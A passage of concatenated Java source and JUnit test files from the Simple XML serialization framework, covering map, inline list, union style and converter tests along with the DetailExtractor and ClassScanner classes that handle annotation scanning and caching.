" <field id='foo'>\r\n" +
" <lucene>\r\n" +
" <index>TOKENIZED</index>\r\n" +
" <store>false</store>\r\n" +
" <default>true</default>\r\n" +
" </lucene>\r\n" +
" </field>\r\n" +
" <field id='bar'>\r\n" +
" <lucene>\r\n" +
" <index>TOKENIZED</index>\r\n" +
" <store>false</store>\r\n" +
" <default>true</default>\r\n" +
" </lucene>\r\n" +
" </field>\r\n" +
" </fields>\r\n" +
"</index>\r\n";
@Root(name="index", strict=false)
public static class IndexConfig {
@Attribute
private String id;
@Element
private String database;
@Element
private Query query;
@ElementMap(name="fields", entry="field", key="id", attribute=true, keyType=String.class, valueType=Lucene.class)
private HashMap<String, Lucene> fields = new HashMap<String, Lucene>();
}
@Root
public static class Field {
@Attribute
private String id;
@Element
private Lucene lucene;
}
@Root(strict=false)
public static class Lucene {
@Element
private String index;
@Element
private boolean store;
@Element(name="default")
private boolean flag;
}
@Root
private static class Query {
@Element
private String[] columns;
@Element
private String[] tables;
}
@Root
private static class EntryMap {
@ElementMap(key="key", attribute=true)
private Map<String, MapEntry> map;
public String getValue(String name) {
return map.get(name).value;
}
}
@Root
private static class MapEntry {
@Element
private String name;
@Element
private String value;
public MapEntry() {
super();
}
public MapEntry(String name, String value) {
this.name = name;
this.value = value;
}
}
@Root
private static class StringMap {
@ElementMap(key="letter", attribute=true, data=true)
private Map<String, String> map;
public String getValue(String name) {
return map.get(name);
}
}
@Root
private static class ComplexMap {
@ElementMap
private Map<CompositeKey, MapEntry> map;
public ComplexMap() {
this.map = new HashMap<CompositeKey, MapEntry>();
}
public String getValue(CompositeKey key) {
return map.get(key).value;
}
}
@Root
private static class CompositeKey {
@Element
private String name;
@Element
private String address;
public CompositeKey() {
super();
}
public CompositeKey(String name, String address) {
this.name = name;
this.address = address;
}
public int hashCode() {
return name.hashCode() + address.hashCode();
}
public boolean equals(Object item) {
if(item instanceof CompositeKey) {
CompositeKey other = (CompositeKey)item;
return other.name.equals(name) && other.address.equals(address);
}
return false;
}
}
@Root
private static class PrimitiveMap {
@ElementMap(name="table")
private Map<String, BigDecimal> map;
public PrimitiveMap() {
this.map = new HashMap<String, BigDecimal>();
}
public BigDecimal getValue(String name) {
return map.get(name);
}
}
@Root
private static class PrimitiveValueOverrideMap {
@ElementMap(value="decimal")
private Map<String, BigDecimal> map;
public BigDecimal getValue(String name) {
return map.get(name);
}
}
@Root
private static class PrimitiveValueKeyOverrideMap {
@ElementMap(value="decimal", key="text", entry="item")
private Map<String, BigDecimal> map;
public BigDecimal getValue(String name) {
return map.get(name);
}
}
@Root
private static class ComplexValueKeyOverrideMap {
@ElementMap(key="key", value="value", entry="item")
private Map<CompositeKey, MapEntry> map;
public ComplexValueKeyOverrideMap() {
this.map = new HashMap<CompositeKey, MapEntry>();
}
public String getValue(CompositeKey key) {
return map.get(key).value;
}
}
@Root
private static class PrimitiveInlineMap {
@ElementMap(entry="entity", inline=true)
private Map<String, BigDecimal> map;
public BigDecimal getValue(String name) {
return map.get(name);
}
}
public void testEntryMap() throws Exception {
Serializer serializer = new Persister();
EntryMap example = serializer.read(EntryMap.class, ENTRY_MAP);
assertEquals("example 1", example.getValue("a"));
assertEquals("example 2", example.getValue("b"));
assertEquals("example 3", example.getValue("c"));
assertEquals("example 4", example.getValue("d"));
validate(example, serializer);
}
public void testStringMap() throws Exception {
Serializer serializer = new Persister();
StringMap example = serializer.read(StringMap.class, STRING_MAP);
assertEquals("example 1", example.getValue("a"));
assertEquals("example 2", example.getValue("b"));
assertEquals("example 3", example.getValue("c"));
assertEquals("example 4", example.getValue("d"));
validate(example, serializer);
}
public void testComplexMap() throws Exception {
Serializer serializer = new Persister();
ComplexMap example = serializer.read(ComplexMap.class, COMPLEX_MAP);
assertEquals("example 1", example.getValue(new CompositeKey("name 1", "address 1")));
assertEquals("example 2", example.getValue(new CompositeKey("name 2", "address 2")));
assertEquals("example 3", example.getValue(new CompositeKey("name 3", "address 3")));
assertEquals("example 4", example.getValue(new CompositeKey("name 4", "address 4")));
validate(example, serializer);
}
public void testPrimitiveMap() throws Exception {
Serializer serializer = new Persister();
PrimitiveMap example = serializer.read(PrimitiveMap.class, PRIMITIVE_MAP);
assertEquals(new BigDecimal("1.0"), example.getValue("one"));
assertEquals(new BigDecimal("2.0"), example.getValue("two"));
assertEquals(new BigDecimal("3.0"), example.getValue("three"));
assertEquals(new BigDecimal("4.0"), example.getValue("four"));
validate(example, serializer);
}
public void testPrimitiveValueOverrideMap() throws Exception {
Serializer serializer = new Persister();
PrimitiveValueOverrideMap example = serializer.read(PrimitiveValueOverrideMap.class, PRIMITIVE_VALUE_OVERRIDE_MAP);
assertEquals(new BigDecimal("1.0"), example.getValue("one"));
assertEquals(new BigDecimal("2.0"), example.getValue("two"));
assertEquals(new BigDecimal("3.0"), example.getValue("three"));
assertEquals(new BigDecimal("4.0"), example.getValue("four"));
validate(example, serializer);
}
public void testPrimitiveValueKeyOverrideMap() throws Exception {
Serializer serializer = new Persister();
PrimitiveValueKeyOverrideMap example = serializer.read(PrimitiveValueKeyOverrideMap.class, PRIMITIVE_VALUE_KEY_OVERRIDE_MAP);
assertEquals(new BigDecimal("1.0"), example.getValue("one"));
assertEquals(new BigDecimal("2.0"), example.getValue("two"));
assertEquals(new BigDecimal("3.0"), example.getValue("three"));
assertEquals(new BigDecimal("4.0"), example.getValue("four"));
validate(example, serializer);
}
public void testComplexValueKeyOverrideMap() throws Exception {
Serializer serializer = new Persister();
ComplexValueKeyOverrideMap example = serializer.read(ComplexValueKeyOverrideMap.class, COMPLEX_VALUE_KEY_OVERRIDE_MAP);
assertEquals("example 1", example.getValue(new CompositeKey("name 1", "address 1")));
assertEquals("example 2", example.getValue(new CompositeKey("name 2", "address 2")));
assertEquals("example 3", example.getValue(new CompositeKey("name 3", "address 3")));
assertEquals("example 4", example.getValue(new CompositeKey("name 4", "address 4")));
validate(example, serializer);
}
public void testPrimitiveInlineMap() throws Exception {
Serializer serializer = new Persister();
PrimitiveInlineMap example = serializer.read(PrimitiveInlineMap.class, PRIMITIVE_INLINE_MAP);
assertEquals(new BigDecimal("1.0"), example.getValue("one"));
assertEquals(new BigDecimal("2.0"), example.getValue("two"));
assertEquals(new BigDecimal("3.0"), example.getValue("three"));
assertEquals(new BigDecimal("4.0"), example.getValue("four"));
validate(example, serializer);
}
public void testNullValue() throws Exception {
Serializer serializer = new Persister();
PrimitiveMap primitiveMap = new PrimitiveMap();
primitiveMap.map.put("a", new BigDecimal(1));
primitiveMap.map.put("b", new BigDecimal(2));
primitiveMap.map.put("c", null);
primitiveMap.map.put(null, new BigDecimal(4));
StringWriter out = new StringWriter();
serializer.write(primitiveMap, out);
primitiveMap = serializer.read(PrimitiveMap.class, out.toString());
assertEquals(primitiveMap.map.get(null), new BigDecimal(4));
assertEquals(primitiveMap.map.get("c"), null);
assertEquals(primitiveMap.map.get("a"), new BigDecimal(1));
assertEquals(primitiveMap.map.get("b"), new BigDecimal(2));
validate(primitiveMap, serializer);
ComplexMap complexMap = new ComplexMap();
complexMap.map.put(new CompositeKey("name.1", "address.1"), new MapEntry("1", "1"));
complexMap.map.put(new CompositeKey("name.2", "address.2"), new MapEntry("2", "2"));
complexMap.map.put(null, new MapEntry("3", "3"));
complexMap.map.put(new CompositeKey("name.4", "address.4"), null);
validate(complexMap, serializer);
}
public void testIndexExample() throws Exception {
Serializer serializer = new Persister();
IndexConfig config = serializer.read(IndexConfig.class, INDEX_EXAMPLE);
validate(config, serializer);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/convert/EmptyElementConverterTest.java<|end_filename|>
package org.simpleframework.xml.convert;
import junit.framework.TestCase;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.strategy.Strategy;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.OutputNode;
public class EmptyElementConverterTest extends TestCase {
private static final String SOURCE =
"<root>\r\n"+
" <text></text>\r\n"+
"</root>\r\n";
@Root
private static class RootExample {
@Element
@Convert(TextConverter.class)
private String text;
}
private static class TextConverter implements Converter {
public Object read(InputNode node) throws Exception {
String value = node.getValue();
if(value == null) {
return "";
}
return value;
}
public void write(OutputNode node, Object value) throws Exception {
node.setValue(String.valueOf(value));
}
}
public void testConverter() throws Exception {
Strategy strategy = new AnnotationStrategy();
Persister persister = new Persister(strategy);
RootExample example = persister.read(RootExample.class, SOURCE);
assertEquals(example.text, "");
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/DetailExtractor.java<|end_filename|>
/*
* DetailExtractor.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import org.simpleframework.xml.DefaultType;
import org.simpleframework.xml.util.Cache;
import org.simpleframework.xml.util.ConcurrentCache;
/**
* The <code>DetailExtractor</code> object is used to extract details
* for a specific class. All details extracted are cached so that
* they can be reused when requested several times. This provides an
* increase in performance when there are large class hierarchies
* as annotations does not need to be scanned a second time.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.Detail
*/
class DetailExtractor {
/**
* This is the cache of methods for specific classes scanned.
*/
private final Cache<ContactList> methods;
/**
* This is the cache of fields for specific classes scanned.
*/
private final Cache<ContactList> fields;
/**
* This contains a cache of the details scanned for classes.
*/
private final Cache<Detail> details;
/**
* This is an optional access type for the details created.
*/
private final DefaultType override;
/**
* This contains various support functions for the details.
*/
private final Support support;
/**
* Constructor for the <code>DetailExtractor</code> object. This
* is used to extract various details for a class, such as the
* method and field details as well as the annotations used on
* the class. The primary purpose for this is to create cachable
* values that reduce the amount of reflection required.
*
* @param support this contains various support functions
*/
public DetailExtractor(Support support) {
this(support, null);
}
/**
* Constructor for the <code>DetailExtractor</code> object. This
* is used to extract various details for a class, such as the
* method and field details as well as the annotations used on
* the class. The primary purpose for this is to create cachable
* values that reduce the amount of reflection required.
*
* @param support this contains various support functions
* @param override this is the override used for details created
*/
public DetailExtractor(Support support, DefaultType override) {
this.methods = new ConcurrentCache<ContactList>();
this.fields = new ConcurrentCache<ContactList>();
this.details = new ConcurrentCache<Detail>();
this.override = override;
this.support = support;
}
/**
* This is used to get a <code>Detail</code> object describing a
* class and its annotations. Any detail retrieved from this will
* be cached to increase the performance of future accesses.
*
* @param type this is the type to acquire the detail for
*
* @return an object describing the type and its annotations
*/
public Detail getDetail(Class type) {
Detail detail = details.fetch(type);
if(detail == null) {
detail = new DetailScanner(type, override);
details.cache(type, detail);
}
return detail;
}
/**
* This is used to acquire a list of <code>Contact</code> objects
* that represent the annotated fields in a type. The entire
* class hierarchy is scanned for annotated fields. Caching of
* the contact list is done to increase performance.
*
* @param type this is the type to scan for annotated fields
*
* @return this returns a list of the annotated fields
*/
public ContactList getFields(Class type) throws Exception {
ContactList list = fields.fetch(type);
if(list == null) {
Detail detail = getDetail(type);
if(detail != null) {
list = getFields(type, detail);
}
}
return list;
}
/**
* This is used to acquire a list of <code>Contact</code> objects
* that represent the annotated fields in a type. The entire
* class hierarchy is scanned for annotated fields. Caching of
* the contact list is done to increase performance.
*
* @param detail this is the detail to scan for annotated fields
*
* @return this returns a list of the annotated fields
*/
private ContactList getFields(Class type, Detail detail) throws Exception {
ContactList list = new FieldScanner(detail, support);
if(detail != null) {
fields.cache(type, list);
}
return list;
}
/**
* This is used to acquire a list of <code>Contact</code> objects
* that represent the annotated methods in a type. The entire
* class hierarchy is scanned for annotated methods. Caching of
* the contact list is done to increase performance.
*
* @param type this is the type to scan for annotated methods
*
* @return this returns a list of the annotated methods
*/
public ContactList getMethods(Class type) throws Exception {
ContactList list = methods.fetch(type);
if(list == null) {
Detail detail = getDetail(type);
if(detail != null) {
list = getMethods(type, detail);
}
}
return list;
}
/**
* This is used to acquire a list of <code>Contact</code> objects
* that represent the annotated methods in a type. The entire
* class hierarchy is scanned for annotated methods. Caching of
* the contact list is done to increase performance.
*
* @param type this is the type to scan for annotated methods
* @param detail this is the type to scan for annotated methods
*
* @return this returns a list of the annotated methods
*/
private ContactList getMethods(Class type, Detail detail) throws Exception {
ContactList list = new MethodScanner(detail, support);
if(detail != null) {
methods.cache(type, list);
}
return list;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/InjectTest.java<|end_filename|>
package org.simpleframework.xml.core;
import junit.framework.TestCase;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
public class InjectTest extends TestCase {
private static final String SOURCE =
"<example>"+
" <name><NAME></name>"+
" <value>Some Value</value>"+
"</example>";
@Root
private static class InjectExample {
@Element
private String name;
@Element
private String value;
public String getName() {
return name;
}
public String getValue() {
return value;
}
}
public void testInject() throws Exception {
Persister persister = new Persister();
InjectExample example = new InjectExample();
persister.read(example, SOURCE);
assertEquals(example.getName(), "Some Name");
assertEquals(example.getValue(), "Some Value");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/InlineTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.ValidationTestCase;
public class InlineTest extends ValidationTestCase {
private static final String INLINE_LIST =
"<test version='ONE'>\n"+
" <message>Some example message</message>\r\n"+
" <text name='a' version='ONE'>Example 1</text>\r\n"+
" <text name='b' version='TWO'>Example 2</text>\r\n"+
" <text name='c' version='THREE'>Example 3</text>\r\n"+
"</test>";
private static final String INLINE_PRIMITIVE_LIST =
"<test version='ONE'>\n"+
" <message>Some example message</message>\r\n"+
" <string>Example 1</string>\r\n"+
" <string>Example 2</string>\r\n"+
" <string>Example 3</string>\r\n"+
"</test>";
@Root(name="test")
private static class InlineTextList {
@Element
private String message;
@ElementList(inline=true)
private List<TextEntry> list;
@Attribute
private Version version;
public TextEntry get(int index) {
return list.get(index);
}
}
@Root(name="test")
private static class InlinePrimitiveList {
@Element
private String message;
@ElementList(inline=true)
private List<String> list;
@Attribute
private Version version;
public String get(int index) {
return list.get(index);
}
}
@Root(name="text")
private static class TextEntry {
@Attribute
private String name;
@Attribute
private Version version;
@Text
private String text;
}
@Root
private static class SimpleInlineList {
@ElementList(inline=true)
private ArrayList<SimpleEntry> list = new ArrayList<SimpleEntry>();
}
@Root
private static class SimpleEntry {
@Attribute
private String content;
}
@Root
private static class SimplePrimitiveInlineList {
@ElementList(inline=true)
private ArrayList<String> list = new ArrayList<String>();
}
@Root
private static class SimpleNameInlineList {
@ElementList(inline=true, entry="item")
private ArrayList<SimpleEntry> list = new ArrayList<SimpleEntry>();
}
private static enum Version {
ONE,
TWO,
THREE
}
private Persister persister;
public void setUp() throws Exception {
persister = new Persister();
}
public void testList() throws Exception {
InlineTextList list = persister.read(InlineTextList.class, INLINE_LIST);
assertEquals(list.version, Version.ONE);
assertEquals(list.message, "Some example message");
assertEquals(list.get(0).version, Version.ONE);
assertEquals(list.get(0).name, "a");
assertEquals(list.get(0).text, "Example 1");
assertEquals(list.get(1).version, Version.TWO);
assertEquals(list.get(1).name, "b");
assertEquals(list.get(1).text, "Example 2");
assertEquals(list.get(2).version, Version.THREE);
assertEquals(list.get(2).name, "c");
assertEquals(list.get(2).text, "Example 3");
StringWriter buffer = new StringWriter();
persister.write(list, buffer);
validate(list, persister);
list = persister.read(InlineTextList.class, buffer.toString());
assertEquals(list.version, Version.ONE);
assertEquals(list.message, "Some example message");
assertEquals(list.get(0).version, Version.ONE);
assertEquals(list.get(0).name, "a");
assertEquals(list.get(0).text, "Example 1");
assertEquals(list.get(1).version, Version.TWO);
assertEquals(list.get(1).name, "b");
assertEquals(list.get(1).text, "Example 2");
assertEquals(list.get(2).version, Version.THREE);
assertEquals(list.get(2).name, "c");
assertEquals(list.get(2).text, "Example 3");
validate(list, persister);
}
public void testPrimitiveList() throws Exception {
InlinePrimitiveList list = persister.read(InlinePrimitiveList.class, INLINE_PRIMITIVE_LIST);
assertEquals(list.version, Version.ONE);
assertEquals(list.message, "Some example message");
assertEquals(list.get(0), "Example 1");
assertEquals(list.get(1), "Example 2");
assertEquals(list.get(2), "Example 3");
StringWriter buffer = new StringWriter();
persister.write(list, buffer);
validate(list, persister);
list = persister.read(InlinePrimitiveList.class, buffer.toString());
assertEquals(list.get(0), "Example 1");
assertEquals(list.get(1), "Example 2");
assertEquals(list.get(2), "Example 3");
validate(list, persister);
}
public void testSimpleList() throws Exception{
SimpleInlineList list = new SimpleInlineList();
for(int i = 0; i < 10; i++) {
SimpleEntry entry = new SimpleEntry();
entry.content = String.format("test %s", i);
list.list.add(entry);
}
validate(list, persister);
}
public void testSimpleNameList() throws Exception{
SimpleNameInlineList list = new SimpleNameInlineList();
for(int i = 0; i < 10; i++) {
SimpleEntry entry = new SimpleEntry();
entry.content = String.format("test %s", i);
list.list.add(entry);
}
validate(list, persister);
}
public void testSimplePrimitiveList() throws Exception{
SimplePrimitiveInlineList list = new SimplePrimitiveInlineList();
list.list.add("test");
validate(list, persister);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/UnionStyleTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.List;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.ElementUnion;
import org.simpleframework.xml.ElementListUnion;
import org.simpleframework.xml.stream.CamelCaseStyle;
import org.simpleframework.xml.stream.Format;
import org.simpleframework.xml.stream.HyphenStyle;
import org.simpleframework.xml.stream.Style;
public class UnionStyleTest extends ValidationTestCase {
private static final String CAMEL_CASE_SOURCE =
"<UnionListExample>" +
" <IntegerField>" +
" <Number>777</Number>" +
" </IntegerField>" +
" <IntegerEntry>" +
" <Number>111</Number>" +
" </IntegerEntry>" +
" <DoubleEntry>" +
" <Number>222.00</Number>" +
" </DoubleEntry>" +
" <StringEntry>" +
" <Text>A</Text>" +
" </StringEntry>" +
" <StringEntry>" +
" <Text>B</Text>" +
" </StringEntry>" +
"</UnionListExample>";
private static final String HYPHEN_SOURCE =
"<union-list-example>" +
" <integer-field>" +
" <number>777</number>" +
" </integer-field>" +
" <integer-entry>" +
" <number>111</number>" +
" </integer-entry>" +
" <double-entry>" +
" <number>222.00</number>" +
" </double-entry>" +
" <string-entry>" +
" <text>A</text>" +
" </string-entry>" +
" <string-entry>" +
" <text>B</text>" +
" </string-entry>" +
"</union-list-example>";
@Root(name="string")
public static class StringEntry implements Entry<String> {
@Element
private String text;
public String foo(){
return text;
}
}
@Root(name="integer")
public static class IntegerEntry implements Entry<Integer> {
@Element
private Integer number;
public Integer foo() {
return number;
}
}
@Root(name="double")
public static class DoubleEntry implements Entry {
@Element
private Double number;
public Double foo() {
return number;
}
}
public static interface Entry<T> {
public T foo();
}
@Root
public static class UnionListExample {
@ElementUnion({
@Element(name="doubleField", type=DoubleEntry.class),
@Element(name="stringField", type=StringEntry.class),
@Element(name="integerField", type=IntegerEntry.class)
})
private Entry entry;
@ElementListUnion({
@ElementList(entry="doubleEntry", inline=true, type=DoubleEntry.class),
@ElementList(entry="stringEntry", inline=true, type=StringEntry.class),
@ElementList(entry="integerEntry", inline=true, type=IntegerEntry.class)
})
private List<Entry> list;
}
public void testCamelCaseStyle() throws Exception {
Style style = new CamelCaseStyle();
Format format = new Format(style);
Persister persister = new Persister(format);
UnionListExample example = persister.read(UnionListExample.class, CAMEL_CASE_SOURCE);
List<Entry> entry = example.list;
assertEquals(entry.size(), 4);
assertEquals(entry.get(0).getClass(), IntegerEntry.class);
assertEquals(entry.get(0).foo(), 111);
assertEquals(entry.get(1).getClass(), DoubleEntry.class);
assertEquals(entry.get(1).foo(), 222.0);
assertEquals(entry.get(2).getClass(), StringEntry.class);
assertEquals(entry.get(2).foo(), "A");
assertEquals(entry.get(3).getClass(), StringEntry.class);
assertEquals(entry.get(3).foo(), "B");
assertEquals(example.entry.getClass(), IntegerEntry.class);
assertEquals(example.entry.foo(), 777);
persister.write(example, System.out);
validate(persister, example);
}
public void testHyphenStyle() throws Exception {
Style style = new HyphenStyle();
Format format = new Format(style);
Persister persister = new Persister(format);
UnionListExample example = persister.read(UnionListExample.class, HYPHEN_SOURCE);
List<Entry> entry = example.list;
assertEquals(entry.size(), 4);
assertEquals(entry.get(0).getClass(), IntegerEntry.class);
assertEquals(entry.get(0).foo(), 111);
assertEquals(entry.get(1).getClass(), DoubleEntry.class);
assertEquals(entry.get(1).foo(), 222.0);
assertEquals(entry.get(2).getClass(), StringEntry.class);
assertEquals(entry.get(2).foo(), "A");
assertEquals(entry.get(3).getClass(), StringEntry.class);
assertEquals(entry.get(3).foo(), "B");
assertEquals(example.entry.getClass(), IntegerEntry.class);
assertEquals(example.entry.foo(), 777);
persister.write(example, System.out);
validate(persister, example);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/ClassScanner.java<|end_filename|>
/*
* ClassScanner.java July 2008
*
* Copyright (C) 2008, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.annotation.Annotation;
import java.lang.reflect.Method;
import java.util.List;
import java.util.Map;
import org.simpleframework.xml.DefaultType;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.NamespaceList;
import org.simpleframework.xml.Order;
import org.simpleframework.xml.Root;
/**
* The <code>ClassScanner</code> performs the reflective inspection
* of a class and extracts all the class level annotations. This will
* also extract the methods that are annotated. This ensures that the
* callback methods can be invoked during the deserialization process.
* Also, this will read the namespace annotations that are used.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.Scanner
*/
class ClassScanner {
/**
* This is the namespace decorator associated with this scanner.
*/
private NamespaceDecorator decorator;
/**
* This is the scanner that is used to acquire the constructors.
*/
private ConstructorScanner scanner;
/**
* This function acts as a pointer to the types commit process.
*/
private Function commit;
/**
* This function acts as a pointer to the types validate process.
*/
private Function validate;
/**
* This function acts as a pointer to the types persist process.
*/
private Function persist;
/**
* This function acts as a pointer to the types complete process.
*/
private Function complete;
/**
* This function is used as a pointer to the replacement method.
*/
private Function replace;
/**
* This function is used as a pointer to the resolution method.
*/
private Function resolve;
/**
* This object contains various support functions for the class.
*/
private Support support;
/**
* This is the root annotation that has been scanned from the type.
*/
private Root root;
/**
* This is the order annotation that has been scanned from the type.
*/
private Order order;
/**
* Constructor for the <code>ClassScanner</code> object. This is
* used to scan the provided class for annotations that are used
* to build a schema for an XML file to follow.
*
* @param detail this contains the details for the class scanned
* @param support this contains various support functions
*/
public ClassScanner(Detail detail, Support support) throws Exception {
this.scanner = new ConstructorScanner(detail, support);
this.decorator = new NamespaceDecorator();
this.support = support;
this.scan(detail);
}
/**
* This is used to acquire the default signature for the class.
* The default signature is the signature for the no argument
* constructor for the type. If there is no default constructor
* for the type then this will return null.
*
* @return this returns the default signature if it exists
*/
public Signature getSignature() {
return scanner.getSignature();
}
/**
* This returns the signatures for the type. All constructors are
* represented as a signature and returned. More signatures than
* constructors will be returned if a constructor is annotated
* with a union annotation.
*
* @return this returns the list of signatures for the type
*/
public List<Signature> getSignatures(){
return scanner.getSignatures();
}
/**
* This returns a map of all parameters that exist. This is used
* to validate all the parameters against the field and method
* annotations that exist within the class.
*
* @return this returns a map of all parameters within the type
*/
public ParameterMap getParameters() {
return scanner.getParameters();
}
/**
* This is used to acquire the <code>Decorator</code> for this.
* A decorator is an object that adds various details to the
* node without changing the overall structure of the node. For
* example comments and namespaces can be added to the node with
* a decorator as they do not affect the deserialization.
*
* @return this returns the decorator associated with this
*/
public Decorator getDecorator() {
return decorator;
}
/**
* This returns the order annotation used to determine the order
* of serialization of attributes and elements. The order is a
* class level annotation that can be used only once per class
* XML schema. If none exists then this will return null.
* of the class processed by this scanner.
*
* @return this returns the name of the object being scanned
*/
public Order getOrder() {
return order;
}
/**
* This returns the root of the class processed by this scanner.
* The root determines the type of deserialization that is to
* be performed and also contains the name of the root element.
*
* @return this returns the name of the object being scanned
*/
public Root getRoot() {
return root;
}
/**
* This method is used to retrieve the schema class commit method
* during the deserialization process. The commit method must be
* marked with the <code>Commit</code> annotation so that when the
* object is deserialized the persister has a chance to invoke the
* method so that the object can build further data structures.
*
* @return this returns the commit method for the schema class
*/
public Function getCommit() {
return commit;
}
/**
* This method is used to retrieve the schema class validation
* method during the deserialization process. The validation method
* must be marked with the <code>Validate</code> annotation so that
* when the object is deserialized the persister has a chance to
* invoke that method so that object can validate its field values.
*
* @return this returns the validate method for the schema class
*/
public Function getValidate() {
return validate;
}
/**
* This method is used to retrieve the schema class persistence
* method. This is invoked during the serialization process to
* get the object a chance to perform an necessary preparation
* before the serialization of the object proceeds. The persist
* method must be marked with the <code>Persist</code> annotation.
*
* @return this returns the persist method for the schema class
*/
public Function getPersist() {
return persist;
}
/**
* This method is used to retrieve the schema class completion
* method. This is invoked after the serialization process has
* completed and gives the object a chance to restore its state
* if the persist method required some alteration or locking.
* This is marked with the <code>Complete</code> annotation.
*
* @return returns the complete method for the schema class
*/
public Function getComplete() {
return complete;
}
/**
* This method is used to retrieve the schema class replacement
* method. The replacement method is used to substitute an object
* that has been deserialized with another object. This allows
* a seamless delegation mechanism to be implemented. This is
* marked with the <code>Replace</code> annotation.
*
* @return returns the replace method for the schema class
*/
public Function getReplace() {
return replace;
}
/**
* This method is used to retrieve the schema class replacement
* method. The replacement method is used to substitute an object
* that has been deserialized with another object. This allows
* a seamless delegation mechanism to be implemented. This is
* marked with the <code>Replace</code> annotation.
*
* @return returns the replace method for the schema class
*/
public Function getResolve() {
return resolve;
}
/**
* Scan the fields and methods such that the given class is scanned
* first then all super classes up to the root <code>Object</code>.
* All fields and methods from the most specialized classes override
* fields and methods from higher up the inheritance hierarchy. This
* means that annotated details can be overridden.
*
* @param detail contains the methods and fields to be examined
*/
private void scan(Detail detail) throws Exception {
DefaultType access = detail.getOverride();
Class type = detail.getType();
while(type != null) {
Detail value = support.getDetail(type, access);
namespace(value);
method(value);
definition(value);
type = value.getSuper();
}
commit(detail);
}
/**
* This method is used to extract the <code>Root</code> annotation
* and the <code>Order</code> annotation from the detail provided.
* These annotation are taken from the first definition encountered
* from the most specialized class up through the base classes.
*
* @param detail this detail object used to acquire the annotations
*/
private void definition(Detail detail) throws Exception {
if(root == null) {
root = detail.getRoot();
}
if(order == null) {
order = detail.getOrder();
}
}
/**
* This is used to acquire the namespace annotations that apply to
* the scanned class. Namespace annotations are added only if they
* have not already been extracted from a more specialized class.
* When scanned all the namespace definitions are used to qualify
* the XML that is produced from serializing the class.
*
* @param type this is the type to extract the annotations from
*/
private void namespace(Detail detail) throws Exception {
NamespaceList scope = detail.getNamespaceList();
Namespace namespace = detail.getNamespace();
if(namespace != null) {
decorator.add(namespace);
}
if(scope != null) {
Namespace[] list = scope.value();
for(Namespace name : list) {
decorator.add(name);
}
}
}
/**
* This is used to set the primary namespace for nodes that will
* be decorated by the namespace decorator. If no namespace is set
* using this method then this decorator will leave the namespace
* reference unchanged and only add namespaces for scoping.
*
* @param detail the detail object that contains the namespace
*/
private void commit(Detail detail) {
Namespace namespace = detail.getNamespace();
if(namespace != null) {
decorator.set(namespace);
}
}
/**
* This is used to scan the specified class for methods so that
* the persister callback annotations can be collected. These
* annotations help object implementations to validate the data
* that is injected into the instance during deserialization.
*
* @param detail this is a detail from within the class hierarchy
*/
private void method(Detail detail) throws Exception {
List<MethodDetail> list = detail.getMethods();
for(MethodDetail entry : list) {
method(entry);
}
}
/**
* Scans the provided method for a persister callback method. If
* the method contains an method annotated as a callback that
* method is stored so that it can be invoked by the persister
* during the serialization and deserialization process.
*
* @param detail the method to scan for callback annotations
*/
private void method(MethodDetail detail) {
Annotation[] list = detail.getAnnotations();
Method method = detail.getMethod();
for(Annotation label : list) {
if(label instanceof Commit) {
commit(method);
}
if(label instanceof Validate) {
validate(method);
}
if(label instanceof Persist) {
persist(method);
}
if(label instanceof Complete) {
complete(method);
}
if(label instanceof Replace) {
replace(method);
}
if(label instanceof Resolve) {
resolve(method);
}
}
}
/**
* This method is used to check the provided method to determine
* if it contains the <code>Replace</code> annotation. If the
* method contains the required annotation it is stored so that
* it can be invoked during the deserialization process.
*
* @param method this is the method checked for the annotation
*/
private void replace(Method method) {
if(replace == null) {
replace = getFunction(method);
}
}
/**
* This method is used to check the provided method to determine
* if it contains the <code>Resolve</code> annotation. If the
* method contains the required annotation it is stored so that
* it can be invoked during the deserialization process.
*
* @param method this is the method checked for the annotation
*/
private void resolve(Method method) {
if(resolve == null) {
resolve = getFunction(method);
}
}
/**
* This method is used to check the provided method to determine
* if it contains the <code>Commit</code> annotation. If the
* method contains the required annotation it is stored so that
* it can be invoked during the deserialization process.
*
* @param method this is the method checked for the annotation
*/
private void commit(Method method) {
if(commit == null) {
commit = getFunction(method);
}
}
/**
* This method is used to check the provided method to determine
* if it contains the <code>Validate</code> annotation. If the
* method contains the required annotation it is stored so that
* it can be invoked during the deserialization process.
